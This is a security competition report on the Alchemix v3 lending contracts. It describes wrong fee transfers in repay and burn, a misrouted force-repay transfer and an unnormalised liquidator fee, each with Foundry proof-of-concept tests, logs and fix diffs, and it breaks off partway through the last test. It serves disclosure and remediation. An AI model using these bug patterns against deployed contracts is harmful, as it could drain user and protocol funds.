CANTINA

Alchemix v3

Competition

July 15, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
High	*Must* fix as soon as possible (if already deployed) and can be triggered by any user without significant constraints, generating outsized returns to the exploiter. For example: loss of user funds (significant amount of funds being stolen or lost) or breaking core functionality (failure in fundamental protocol operations).
Medium	Global losses <10% or losses to only a subset of users, requiring significant constraints (capital, planning, other users...) to be exploited. For example: temporary disruption or denial of service (DoS), minor fund loss or exposure or breaking non-core functionality
Low	Losses will be annoying but easily recoverable, requiring unusual scenarios or admin actions to be exploited.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above matrix. High severity findings represent the most critical issues that must be addressed immediately, as they either have high impact and high likelihood of occurrence, or medium impact with high likelihood.

Medium severity findings represent issues that, while not immediately critical, still pose significant risks and should be addressed promptly. These typically involve scenarios with medium impact and medium likelihood, or high impact with low likelihood.

Low severity findings represent issues that, while not posing immediate threats, could potentially cause problems in specific scenarios. These typically involve medium impact with low likelihood, or low impact with medium likelihood.

Lastly, some findings might represent improvements that don't directly impact security but could enhance the codebase's quality, readability, or efficiency (Gas and Informational findings).

2 Security Review Summary

Alchemix lets the users instantly access loans representing their collateral's future yield. These loans automatically pay themselves off with the yield generated from the deposit.

From May 1st to May 15th Cantina hosted a competition based on alchemix-v3. The participants identified a total of **54** issues in the following risk categories:

- High Risk: 19
- Medium Risk: 22
- Low Risk: 6
- Gas Optimizations: 0
- Informational: 7

The present report only outlines the **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 Incorrect protocol fee transfer amount in `AlchemistV3::repay`

Submitted by KiteWeb3, also found by 0xB4nkz, Kaede, bumble, 0xorangesantra, simon0417, 0xaman, dinkras, phrax, ParthMandale, 0xBeastBoy, franfran20, pepoc3, cantinalover, devanas17, Sivan, T1MOH, s3rdz0, c0pp3rscr3w3r, 0xRaz, 0xdice91, n1kh1l, ggbond, oct0pwn, lukaprini, Pascal, wickie0x, etherking, roccomania, Josh4324, Matin6517, uuzall, ctmotox2, bratko, nagato, tonips, Pro King , 0xisboss, HeckerTrieuTien, Topmark, KupiaSec, 0xEkkoo, magicCentaur, lyuboslav, Coachmike, NoNoo, 0xchorintian, julian4vantgarde, 0xPhantom, Kemah, aua-oo7, dash, gesha17, lucio, persimmon, miracleworker0118, BBBB, mohitisimmortal, willycode20, 0xsagetony, patitonar, EddiePumpin, 1337web3, Cybrid, tough, elolpuer, Harry, 0xSlowbug, kkk, 0x1982us, eLSeR17, edoscoba, Ivan-Alexander, Joseph, onthehunt11, Web3Psycho, 0xweb3boy, pandaSecurity, Strapontin, YanecaB, armormadeofwoe, 0xblackadam, ExtraCaterpillar, importDev0x, TheWarriorHunter, EddiePumpin, Joesepherus, oxelmiguel, HarryBarz, Dliteofficial, TheWeb3Mechanic, greg, softdev323, 0xDeoGratias, ayeslick, prk0, Prosper, CAUsr, 0xNull, Joshuajee, dev0cloo, kvar, 0xAlex, kimnoic, SarveshLimaye, 0xTheBlackPanther, 0xl33, Skid0016, bl4ck4non, camellia, Codertjay, Fishy, chainsentry, Jiri123, CL001, Z-Bra, touthang, 0x9527, mrMorningstar, realsung, 0x15, JuggerNaut63, deeney, rokinot, 0xJoos, silverologist, mahivasisth, 0xNForcer, 4mj3x, 0xerenyeager, queen, odessos42, Lamsy, princekay, TamayoNft, DiligentWorker, Sneks, JeremiahNoah, 0xisboss, farismaulana, Luck, 0xl33, 0xrex, montecristo, hrmneffdii, anchabadze, Araj, figtracer, pyk, kodyvim, Odeili, Dimaranti, unsol1337, ZoA, Rolando, Bigsam, vesko210, BenRai, joicygiore and samm

Severity: High Risk

Context: AlchemistV3.sol#L522

Summary: The `AlchemistV3::repay` function incorrectly transfers the entire repayment amount (`creditToYield`) as a protocol fee to the `protocolFeeReceiver`, instead of transferring only the calculated protocol fee (`creditToYield * protocolFee / BPS`). This results in an excessive fee collection and loss of user funds.

Finding Description: In the `AlchemistV3::repay` function, the protocol fee is calculated and deducted from the account's collateral balance as `creditToYield * protocolFee / BPS`, where `protocolFee` is a percentage (in basis points, `BPS = 10_000`) and `creditToYield` is the yield token equivalent of the repaid debt. However, the subsequent transfer to the `protocolFeeReceiver` uses the following line:

```
TokenUtils.safeTransfer(yieldToken, protocolFeeReceiver, creditToYield);
```

This line transfers the full `creditToYield` amount, not the intended protocol fee (`creditToYield * protocolFee / BPS`). For example, if protocolFee = 100 (1%), the fee should be 1% of creditToYield, but the function transfers 100% of creditToYield. Security Guarantees Broken:

- Economic fairness: the protocol overcharges users by transferring the entire repayment amount as a fee, violating the intended fee structure.
- Fund safety: the excessive transfer could drain the contract's `yieldToken` balance and result in unintended fee collection, locking user funds with the `protocolFeeReceiver`.
- Contract integrity: the mismatch between the deducted collateral fee and the transferred fee breaks the contract's internal accounting consistency.

Malicious Input Propagation:

The issue is triggered whenever the `repay` function is called. The bug does not require malicious input, as it occurs in the normal execution flow:

- A user calls `repay` with an amount of yield tokens to repay debt for `recipientTokenId`.
- The function calculates `creditToYield` (yield tokens equivalent to the repaid debt).
- The protocol fee is correctly deducted from `account.collateralBalance` as `creditToYield * protocolFee / BPS`.
- The incorrect transfer sends `creditToYield` to `protocolFeeReceiver`, overcharging the fee.

Impact Explanation: The issue is rated as High impact due to the following:

- Financial loss: users lose funds equivalent to `creditToYield - (creditToYield * protocolFee / BPS)` per repayment, which can be significant for large repayments.
- Protocol misbehavior: the excessive fee collection disrupts the economic model, leading to user distrust or unintended fee accumulation with the `protocolFeeReceiver`.
- Contract balance risk: if the contract's yieldToken balance is insufficient to cover the excessive transfer (beyond the collateral deduction), the transfer may fail, causing the repay function to revert and block legitimate repayments.

Likelihood Explanation: The likelihood is High because:

- The bug is triggered in the normal execution of the repay function, which is a core user-facing function expected to be called frequently.
- No special conditions or malicious inputs are required; any repayment will trigger the issue.

Proof of Concept: Copy/paste this in the `AlchemistV3.t.sol`:

```
import {console} from "../../lib/forge-std/src/Test.sol";

function testWrongFeeAmountInRepay() external {
    uint256 amount = 100e18;

    uint256 protocolFeeReceiverInitial = fakeYieldToken.balanceOf(alchemist.protocolFeeReceiver());

    vm.startPrank(address(0xbeef));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount + 100e18);
    alchemist.deposit(amount, address(0xbeef), 0);

    uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
    alchemist.mint(tokenId, amount / 2, address(0xbeef));

    vm.roll(block.number + 1);

    alchemist.repay(amount / 2, tokenId);
    vm.stopPrank();

    uint256 expectedProtocolFee = (amount / 2) * alchemist.protocolFee() / alchemist.BPS();
    uint256 protocolFeeReceiverFinal = fakeYieldToken.balanceOf(alchemist.protocolFeeReceiver());

    (, uint256 userDebt,) = alchemist.getCDP(tokenId);
    assertEq(userDebt, 0);

    assertNotEq(protocolFeeReceiverInitial + expectedProtocolFee, protocolFeeReceiverFinal);

    console.log("protocolFeeReceiverInitial: ", protocolFeeReceiverInitial);
    console.log("expectedProtocolFee: ", expectedProtocolFee);
    console.log("protocolFeeReceiverFinal: ", protocolFeeReceiverFinal);
}
```

Run: `forge test --match-test testWrongFeeAmountInRepay -vv`:

```
Ran 1 test for src/test/AlchemistV3.t.sol:AlchemistV3Test
[PASS] testWrongFeeAmountInRepay() (gas: 570762)
Logs:
  protocolFeeReceiverInitial:  0
  expectedProtocolFee:  0
  protocolFeeReceiverFinal:  50000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.62ms (2.20ms CPU time)
```

The test shows that the `protocolFeeReceiver` receives the wrong fee amount (equal to `amount/2` instead of 0).

Recommendation: Modify the `AlchemistV3::repay` in this way:

```
  function repay(uint256 amount, uint256 recipientTokenId) public returns (uint256) {
      _checkArgument(amount > 0);
      _checkForValidAccountId(recipientTokenId);
      Account storage account = _accounts[recipientTokenId];
      // Check that the user did not mint in this same block
      // This is used to prevent flash loan repayments
      if (block.number == account.lastMintBlock) revert CannotRepayOnMintBlock();
```

```
        // Query transmuter and earmark global debt
        _earmark();

        // Sync current user debt before deciding how much is available to be repaid
        _sync(recipientTokenId);

        uint256 debt;

        // Burning yieldTokens will pay off all types of debt
        _checkState((debt = account.debt) > 0);

        uint256 yieldToDebt = convertYieldTokensToDebt(amount);
        uint256 credit = yieldToDebt > debt ? debt : yieldToDebt;
        uint256 creditToYield = convertDebtTokensToYield(credit);

        // Repay debt from earmarked amount of debt first
        uint256 earmarkToRemove = credit > account.earmarked ? account.earmarked : credit;
        account.earmarked -= earmarkToRemove;

        // Debt is subject to protocol fee similar to redemptions
        account.collateralBalance -= creditToYield * protocolFee / BPS;

        _subDebt(recipientTokenId, credit);

        // Transfer the repaid tokens to the transmuter.
        TokenUtils.safeTransferFrom(yieldToken, msg.sender, transmuter, creditToYield);
-       TokenUtils.safeTransfer(yieldToken, protocolFeeReceiver, creditToYield);
+       TokenUtils.safeTransfer(yieldToken, protocolFeeReceiver, creditToYield * protocolFee / BPS);

        emit Repay(msg.sender, amount, recipientTokenId, creditToYield);

        return creditToYield;
    }
```

3.1.2 Missing protocol fee transfer in the `AlchemistV3::burn` function

Submitted by KiteWeb3, also found by Hurricane, falconhoof, ParthMandale, Sivan, dash, T1MOH, NoNoo, ggbond, Pascal, wickie0x, Josh4324, 0xdice91, Pro King , KupiaSec, Topmark, magicCentaur, Kemah, mohitisimmortal, maptool, lucio, gesha17, onthehunt11, BBBB, silverologist, space image, globalace, aua-oo7, 1337web3, Cybrid, kkk, softdev323, 0xweb3boy, YanecaB, EddiePumpin, CAUsr, armormadeofwoe, armormadeofwoe, importDev0x, Dliteofficial, TheWeb3Mechanic, bl4ck4non, 0xDeoGratias, prk0, Ivan-Alexander, 0xNull, kvar, touthang, 0x15, mahivasisth, odessos42, serenity, 4mj3x, serenity, Luck, queen, TamayoNft, 0xisboss, Bigsam, 0xNForcer, farismaulana, Odeili, 0xrex, 0xl33, montecristo, hrmneffdii, kodyvim, figtracer, ZoA, Araj, BenRai and joicygiore

Severity: High Risk

Context: AlchemistV3.sol#L475, AlchemistV3.sol#L522, IAlchemistV3.sol#L28-L31

Summary: The `AlchemistV3::burn` function deducts a protocol fee from the user's collateral balance but does not transfer it to the `protocolFeeReceiver`, causing the fee to remain stuck in the contract as unallocated `yieldToken`.

Finding Description: The AlchemistV3 contrac applies a protocol fee (defined by `protocolFee` in basis points) on debt operations to collect revenue for the protocol, with fees intended to be sent to `protocolFeeReceiver`. In the `burn` function, which allows users to burn debt tokens (`debtToken`) to reduce unearmarked debt, the protocol fee is deducted from the user's `collateralBalance` but not transferred to `protocolFeeReceiver`.

Relevant code in `burn`:

```
// Debt is subject to protocol fee similar to redemptions
_accounts[recipientId].collateralBalance -= convertDebtTokensToYield(credit) * protocolFee / BPS;
```

Unlike the `repay` function, which transfers the fee to `protocolFeeReceiver`, the `burn` function lacks a corresponding transfer. This results in the fee amount remaining in the contract's balance, as the deduction only updates the internal accounting (`collateralBalance`) without moving tokens.

Security Guarantees Broken:

- Economic integrity: the protocol fails to collect fees as intended, reducing revenue for the `protocolFeeReceiver`.
- Correctness: the contract's fee mechanism is inconsistent, as fees are collected from users but not distributed, leading to unallocated tokens.
- Asset management: funds (in `yieldToken`) become stuck, potentially causing accounting discrepancies or loss of access to protocol revenue.

How the issue occurs:

- A user calls `burn` with an `amount` of debt tokens to reduce their debt (credit is the actual debt burned).
- The protocol fee is calculated and deducted: `_accounts[recipientId].collateralBalance -= convertDebtTokensToYield(credit) * protocolFee / BPS`.
- No `TokenUtils.safeTransfer` is called to send the fee to `protocolFeeReceiver`.
- The contract's yieldToken balance retains the fee amount, as it is no longer assigned to the user's collateralBalance.

This issue occurs automatically whenever `burn` is called with a non-zero protocolFee, as the fee deduction is part of the function's logic.

Impact Explanation: This vulnerability is assessed as Medium impact because:

- Financial loss: the protocol loses access to fees intended for `protocolFeeReceiver`, reducing revenue. The stuck fees accumulate in the contract, potentially amounting to significant value over time.
- Accounting discrepancy: the unallocated `yieldToken` balance creates a mismatch between the contract's token balance and the sum of users' collateralBalance, which could affect functionality.
- No user loss: users are not directly harmed beyond paying the fee, as their debt is correctly reduced.
- No immediate exploit: the stuck fees are not directly stealable by an attacker, but the lack of a sweep mechanism means the protocol cannot recover them without contract changes.

Likelihood Explanation: The likelihood is High because:

- The issue occurs every time the `burn` function is called with a non-zero protocolFee (a configurable parameter, typically non-zero in production).
- The `burn` function is a core feature for users to repay debt, likely to be used frequently in a lending protocol like Alchemix.
- No external conditions or malicious inputs are required; the bug is inherent in the function's logic.

Proof of Concept: Copy/paste this in the AlchemistV3.t.sol.

```
import {console} from "../../lib/forge-std/src/Test.sol";

function testMissingFeeTransferInBurn() external {
    vm.prank(alOwner);
    alchemist.setProtocolFee(5000);

    uint256 amount = 100e18;

    uint256 protocolFeeReceiverInitial = fakeYieldToken.balanceOf(alchemist.protocolFeeReceiver());

    vm.startPrank(address(0xbeef));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount + 100e18);
    alchemist.deposit(amount, address(0xbeef), 0);
    // a single position nft would have been minted to 0xbeef
    uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
    alchemist.mint(tokenId, amount / 2, address(0xbeef));

    vm.roll(block.number + 1);

    SafeERC20.safeApprove(address(alToken), address(alchemist), amount / 2);
    alchemist.burn(amount / 2, tokenId);
    vm.stopPrank();

    uint256 expectedProtocolFee = (amount / 2) * alchemist.protocolFee() / alchemist.BPS();
    uint256 protocolFeeReceiverFinal = fakeYieldToken.balanceOf(alchemist.protocolFeeReceiver());

    (, uint256 userDebt,) = alchemist.getCDP(tokenId);
    assertEq(userDebt, 0);

    assertNotEq(protocolFeeReceiverInitial + expectedProtocolFee, protocolFeeReceiverFinal);
    assertEq(protocolFeeReceiverFinal, protocolFeeReceiverInitial);

    console.log("protocolFeeReceiverInitial: ", protocolFeeReceiverInitial);
    console.log("expectedProtocolFee: ", expectedProtocolFee);
    console.log("protocolFeeReceiverFinal: ", protocolFeeReceiverFinal);
}
```

Run: `forge test --match-test testMissingFeeTransferInBurn -vv`:

```
Ran 1 test for src/test/AlchemistV3.t.sol:AlchemistV3Test
[PASS] testMissingFeeTransferInBurn() (gas: 524905)
Logs:
  protocolFeeReceiverInitial:  0
  expectedProtocolFee:  25000000000000000000
  protocolFeeReceiverFinal:  0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.98ms (4.64ms CPU time)
```

The test shows that the `protocolFeeReceiver` receives 0 fee instead of `25e18`.

Recommendation: Add the transfer functionality in the `burn` function, like this:

```
// Transfer protocol fee to protocolFeeReceiver
TokenUtils.safeTransfer(yieldToken, protocolFeeReceiver, convertDebtTokensToYield(credit) * protocolFee / BPS);
```

3.1.3 Incorrect token transfer in `AlchemistV3::_forceRepay` function to `address(this)` instead of transmuter

Submitted by KiteWeb3, also found by phrax, Hurricane, QuillAudits, 0xBeastBoy, falconhoof, 0xAlex, Sivan, gg-bond, PeterSR, n1kh1l, franfran20, 0xBeastBoy, bl4ck4non, T1MOH, 0xNull, devanas17, 0xPhantom, 0xdice91, magicCentaur, Pascal, Joshuajee, 0xgh0st, wickie0x, ctmotox2, bratko, mohitisimmortal, tough, 0XTheAnzRider, KupiaSec, willycode20, dash, Kemah, maptool, oxelmiguel, persimmon, Cybrid, patitonar, EddiePumpin, kvar, CAUsr, elolpuer, Icon0x, kkk, eLSeR17, touthang, gesha17, onthehunt11, 0xweb3boy, Ivan-Alexander, YanecaB, ExtraCaterpillar, deeney, hrmneffdii, 0xTheBlackPanther, kimnoic, ayeslick, prk0, danvinci, Prosper, vesko210, serenity, Skid0016, Saikumar Andure, Grands9n, Kaede, chainsentry, 0xrex, Sneks, 0x9527, JuggerNaut63, mr-Morningstar, realsung, rokinot, 0xJoos, silverologist, Nyxaris, Odeili, TamayoNft, queen, Bluedragon, Bigsam, Lamsy, 0xl33, 0xl33, JeremiahNoah, 0xisboss, Araj, montecristo, Luck, kodyvim, farismaulana, Dimaranti, Kris-RenZo, unsol1337, ZoA, BenRai, joicygiore, 4mj3x and 0x15

Severity: High Risk

Context: AlchemistV3.sol#L761-L762

Summary: The `AlchemistV3::_forceRepay` function transfers `yieldToken` to `address(this)` (the `AlchemistV3` contract) instead of the transmuter contract, despite the NatSpec comment indicating the tokens should be sent to the transmuter. This misallocation could disrupt debt repayment accounting and underfund the transmuter.

Finding Description: In the _forceRepay function, which forcibly repays earmarked debt using an account's collateral, the following line transfers `yieldToken` to `address(this)`:

```
// Transfer the repaid tokens from the account to the transmuter.
TokenUtils.safeTransfer(yieldToken, address(this), creditToYield);
```

The NatSpec comment explicitly states that the tokens are transferred "*to the transmuter*", and the transmuter contract (stored in the `transmuter` state variable) is responsible for handling yield tokens to facilitate debt repayment or redemption (e.g., in `repay` and `redeem` functions). However, the code sends `creditToYield` to the AlchemistV3 contract itself.

This breaks the protocol's accounting integrity because:

- The transmuter expects to receive yield tokens to cover debt obligations (tracked via `ITransmuter(transmuter).totalLocked()`).
- Other functions, such as `repay` and `redeem`, correctly transfer yield tokens to the transmuter.
- By sending tokens to `address(this)`, the AlchemistV3 contract accumulates `yieldToken` that should be managed by the transmuter, potentially causing a mismatch between debt reduction and token allocation.

Propagation of the Issue:

- A user or protocol action triggers `_forceRepay` (e.g., during liquidation when earmarked debt is repaid).
- The function reduces `account.debt` and `account.earmarked` by credit and deducts `creditToYield` from `account.collateralBalance`.
- Instead of transferring `creditToYield` to transmuter, the tokens are sent to AlchemistV3, increasing its `yieldToken` balance.
- The transmuter does not receive the tokens, leading to insufficient funds to cover `totalLocked` or future redemptions.

Impact Explanation: This issue is assessed as Medium severity because:

- Accounting mismatch: the misallocation of `yieldToken` to AlchemistV3 instead of transmuter disrupts the protocol's debt repayment mechanism, as the transmuter may lack sufficient tokens to fulfill its obligations.
- Transmuter underfunding: the transmuter's ability to redeem debt (via redeem) may be impaired, affecting the protocol's self-repaying loan functionality.
- No immediate fund loss: the tokens remain within the protocol (in AlchemistV3), so there's no direct loss of user funds, but the misallocation could lead to operational inefficiencies or delays in debt repayment.

Likelihood Explanation: The likelihood is High because:

- Trigger Condition: `_forceRepay` is called during specific scenarios, such as liquidation (`liquidate`) when earmarked debt needs to be repaid. Liquidations occur when an account's collateralization ratio falls below `collateralizationLowerBound`, which depends on market conditions or user actions (e.g., price drops or excessive borrowing).
- Frequency: liquidations are not constant but can occur during volatile market conditions or if users maintain high-leverage positions. Since Alchemix uses yield-bearing collateral, price fluctuations could trigger liquidations.
- Protocol usage: the bug affects every call to `liquidate` (`_forceRepay`), making it consistent when triggered.

Proof of Concept: Copy/paste this in the `AlchemistV3.t.sol`:

```
function testLiquidate_WrongTokenTransfer() external {
    // NOTE testing with --fork-block-number 20592882, totalSupply will change if this is not maintained

    uint256 amount = 200_000e18; // 200,000 yudai
    vm.startPrank(someWhale);
    fakeYieldToken.mint(whaleSupply, someWhale);
    vm.stopPrank();

    // just ensureing global alchemist collateralization stays above the minimum required for regular
    ↪  liquidations
    // no need to mint anything
    vm.startPrank(yetAnotherExternalUser);
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount * 2);
    alchemist.deposit(amount, yetAnotherExternalUser, 0);
    vm.stopPrank();

    vm.startPrank(address(0xbeef));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount + 100e18);
    alchemist.deposit(amount, address(0xbeef), 0);
    // a single position nft would have been minted to 0xbeef
    uint256 tokenIdFor0xBeef = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
    alchemist.mint(tokenIdFor0xBeef, alchemist.totalValue(tokenIdFor0xBeef) * FIXED_POINT_SCALAR /
    ↪  minimumCollateralization, address(0xbeef));
    vm.stopPrank();

    // modify yield token price via modifying underlying token supply
    (uint256 prevCollateral, uint256 prevDebt,) = alchemist.getCDP(tokenIdFor0xBeef);
    uint256 initialVaultSupply = IERC20(address(fakeYieldToken)).totalSupply();
    fakeYieldToken.updateMockTokenSupply(initialVaultSupply);
    // increasing yeild token suppy by 59 bps or 5.9%  while keeping the unederlying supply unchanged
    uint256 modifiedVaultSupply = (initialVaultSupply * 590 / 10_000) + initialVaultSupply;
    fakeYieldToken.updateMockTokenSupply(modifiedVaultSupply);

    // ensure initial debt is correct
    vm.assertApproxEqAbs(prevDebt, 180_000_000_000_000_000_018_000, minimumDepositOrWithdrawalLoss);

    // let another user liquidate the previous user position
    vm.startPrank(externalUser);
    uint256 liquidatorPrevTokenBalance = IERC20(fakeYieldToken).balanceOf(address(externalUser));
    uint256 liquidatorPrevUnderlyingBalance = IERC20(fakeUnderlyingToken).balanceOf(address(externalUser));

    uint256 alchemistCurrentCollateralization =
        alchemist.normalizeUnderlyingTokensToDebt(alchemist.getTotalUnderlyingValue()) * FIXED_POINT_SCALAR /
        ↪  alchemist.totalDebt();
    (uint256 liquidationAmount, uint256 expectedDebtToBurn, uint256 expectedBaseFee) =
    ↪  alchemist.calculateLiquidation(
        alchemist.totalValue(tokenIdFor0xBeef),
        prevDebt,
        alchemist.minimumCollateralization(),
        alchemistCurrentCollateralization,
        alchemist.globalMinimumCollateralization(),
        liquidatorFeeBPS
    );
    uint256 expectedLiquidationAmountInYield = alchemist.convertDebtTokensToYield(liquidationAmount);
    uint256 expectedBaseFeeInYield = alchemist.convertDebtTokensToYield(expectedBaseFee);
    uint256 expectedFeeInUnderlying = expectedDebtToBurn * liquidatorFeeBPS / 10_000;

    uint256 transmuterBefore = fakeYieldToken.balanceOf(address(transmuter));
    console.log("transmuterBefore", transmuterBefore);

    (uint256 assets, uint256 feeInYield, uint256 feeInUnderlying) = alchemist.liquidate(tokenIdFor0xBeef);
    uint256 liquidatorPostTokenBalance = IERC20(fakeYieldToken).balanceOf(address(externalUser));
    uint256 liquidatorPostUnderlyingBalance = IERC20(fakeUnderlyingToken).balanceOf(address(externalUser));
    (uint256 depositedCollateral, uint256 debt,) = alchemist.getCDP(tokenIdFor0xBeef);

    uint256 transmuterAfter = fakeYieldToken.balanceOf(address(transmuter));
    console.log("transmuterAfter", transmuterAfter);
    assertEq(transmuterBefore, transmuterAfter);

    vm.stopPrank();

    // ensure debt is reduced by the result of (collateral - y)/(debt - y) = minimum collateral ratio
    vm.assertApproxEqAbs(debt, prevDebt - expectedDebtToBurn, minimumDepositOrWithdrawalLoss);

    // ensure depositedCollateral is reduced by the result of (collateral - y)/(debt - y) = minimum collateral
    ↪  ratio
```

```
    vm.assertApproxEqAbs(depositedCollateral, prevCollateral - expectedLiquidationAmountInYield,
    ↪  minimumDepositOrWithdrawalLoss);

    // ensure assets is equal to liquidation amount i.e. y in (collateral - y)/(debt - y) = minimum collateral
    ↪  ratio
    vm.assertApproxEqAbs(assets, expectedLiquidationAmountInYield, minimumDepositOrWithdrawalLoss);

    // ensure liquidator fee is correct (3% of liquidation amount)
    vm.assertApproxEqAbs(feeInYield, expectedBaseFeeInYield, 1e18);
    vm.assertEq(feeInUnderlying, expectedFeeInUnderlying);

    // liquidator gets correct amount of fee
    vm.assertApproxEqAbs(liquidatorPostTokenBalance, liquidatorPrevTokenBalance + feeInYield, 1e18);
    vm.assertEq(liquidatorPostUnderlyingBalance, liquidatorPrevUnderlyingBalance + feeInUnderlying);
    vm.assertEq(alchemistFeeVault.totalDeposits(), 10_000 ether - feeInUnderlying);
}
```

Run: `forge test --match-test testLiquidate_WrongTokenTransfer --fork-url https://eth-mainnet.g.alchemy.com/v2/YourApiKey --fork-block-number 20592882`. *Note: `YourApiKey` is you Alchemist (or other provider) api key.*

```
[PASS] testLiquidate_WrongTokenTransfer() (gas: 1060723)
Logs:
  transmuterBefore 0
  transmuterAfter 0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.90ms (2.12ms CPU time)
```

The test shows that the transmuter doesn't receive any token.

Recommendation: Update the `_forceRepay` function to transfer `yieldToken` to the transmuter address instead of `address(this)`.

```
  function _forceRepay(uint256 accountId, uint256 amount) internal returns (uint256) {
      _checkArgument(amount > 0);
      _checkForValidAccountId(accountId);
      Account storage account = _accounts[accountId];

      // Query transmuter and earmark global debt
      _earmark();

      // Sync current user debt before deciding how much is available to be repaid
      _sync(accountId);

      uint256 debt;

      // Burning yieldTokens will pay off all types of debt
      _checkState((debt = account.debt) > 0);

      uint256 yieldToDebt = convertYieldTokensToDebt(amount);
      uint256 credit = yieldToDebt > debt ? debt : yieldToDebt;
      uint256 creditToYield = convertDebtTokensToYield(credit);
      _subDebt(accountId, credit);

      // Repay debt from earmarked amount of debt first
      account.earmarked -= credit > account.earmarked ? account.earmarked : credit;

      account.collateralBalance -= creditToYield;

      // Transfer the repaid tokens from the account to the transmuter.
-     TokenUtils.safeTransfer(yieldToken, address(this), creditToYield);
+     TokenUtils.safeTransfer(yieldToken, address(transmuter), creditToYield);
      return creditToYield;
  }
```

3.1.4 `AlchemistV3._liquidate` fee amount is not normalized for underlying token

Submitted by ZoA, also found by bratko, Ivan-Alexander, j0xbear, Kemah, maptool, Cybrid, greg, farismaulana, ExtraCaterpillar, CAUsr, prk0, rokinot, chainsentry, KiteWeb3, Rolando, 0xl33 and 0x15

Severity: High Risk

Context: AlchemistV3.sol#L836-L842

Summary: `_liquidate` function gives excess fee to `liquidator` as `feeBonus` but its amount is not normalized for underlying token.

Finding Description: `feeBonus` is sent to `liquidator` from `alchemistFeeVault` and `alchemistFeeVault` sends underlying tokens to `liquidator`. But `feeBonus` decimal is same as `debtToken` because `uint256 feeBonus = debtToBurn * liquidatorFee / BPS;` (AlchemistV3:814). `feeBonus` must be normalized for `underlying token`.

Impact Explanation: This is very dangerous when `debtToken` decimal is greater than `underlyingToken`. `feeBonus` is too big amount than expected and `liquidator` can get more `fee`. So this impact is high.

Likelihood Explanation: This happens when `debtToken` decimal is greater than `underlyingToken`. So this likelihood is medium.

Proof of Concept: Before test, change `fakeUnderlyingToken` decimal:

```
- fakeUnderlyingToken = new TestERC20(100e18, uint8(18));
+ fakeUnderlyingToken = new TestERC20(100e18, uint8(6));
```

Test below code:

```
  function testLiquidate_Undercollateralized_Position_All_Fees_From_Fee_Vault() external {
      // NOTE testing with --fork-block-number 20592882, totalSupply will change if this is not maintained

      uint256 amount = 200_000e18; // 200,000 yvdai
      vm.startPrank(someWhale);
      fakeYieldToken.mint(whaleSupply, someWhale);
      vm.stopPrank();

      // just ensureing global alchemist collateralization stays above the minimum required for regular
      ↪  liquidations
      // no need to mint anything
      vm.startPrank(yetAnotherExternalUser);
      SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount * 2);
      alchemist.deposit(amount, yetAnotherExternalUser, 0);
      vm.stopPrank();

      vm.startPrank(address(0xbeef));
      SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount + 100e18);
      alchemist.deposit(amount, address(0xbeef), 0);
      // a single position nft would have been minted to 0xbeef
      uint256 tokenIdFor0xBeef = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
      alchemist.mint(tokenIdFor0xBeef, alchemist.totalValue(tokenIdFor0xBeef) * FIXED_POINT_SCALAR /
      ↪  minimumCollateralization, address(0xbeef));
      vm.stopPrank();

      // modify yield token price via modifying underlying token supply
      (, uint256 prevDebt,) = alchemist.getCDP(tokenIdFor0xBeef);
      uint256 initialVaultSupply = IERC20(address(fakeYieldToken)).totalSupply();
      fakeYieldToken.updateMockTokenSupply(initialVaultSupply);
      // increasing yeild token suppy by 4000 bps or 40%  while keeping the unederlying supply unchanged
      uint256 modifiedVaultSupply = (initialVaultSupply * 4000 / 10_000) + initialVaultSupply;
      fakeYieldToken.updateMockTokenSupply(modifiedVaultSupply);

      // ensure initial debt is correct
      // vm.assertApproxEqAbs(prevDebt, 180_000_000_000_000_000_018_000, minimumDepositOrWithdrawalLoss);

      // let another user liquidate the previous user position
      vm.startPrank(externalUser);
      uint256 liquidatorPrevTokenBalance = IERC20(fakeYieldToken).balanceOf(address(externalUser));
      uint256 liquidatorPrevUnderlyingBalance = IERC20(fakeUnderlyingToken).balanceOf(address(externalUser));

      uint256 alchemistCurrentCollateralization =
          alchemist.normalizeUnderlyingTokensToDebt(alchemist.getTotalUnderlyingValue()) * FIXED_POINT_SCALAR /
          ↪  alchemist.totalDebt();
      (, uint256 expectedDebtToBurn,) = alchemist.calculateLiquidation(
          alchemist.totalValue(tokenIdFor0xBeef),
          prevDebt,
          alchemist.minimumCollateralization(),
          alchemistCurrentCollateralization,
          alchemist.globalMinimumCollateralization(),
          liquidatorFeeBPS
      );
      uint256 expectedFeeInUnderlying = expectedDebtToBurn * liquidatorFeeBPS / 10_000;
+     console.log("expectedFeeInUnderlying", expectedFeeInUnderlying);
```

```
+     console.log("alchemistFeeVault-underlyingToken amount: ",
↪  fakeUnderlyingToken.balanceOf(address(alchemistFeeVault)));
      (, uint256 feeInYield, uint256 feeInUnderlying) = alchemist.liquidate(tokenIdFor0xBeef);
      uint256 liquidatorPostTokenBalance = IERC20(fakeYieldToken).balanceOf(address(externalUser));
      uint256 liquidatorPostUnderlyingBalance = IERC20(fakeUnderlyingToken).balanceOf(address(externalUser));
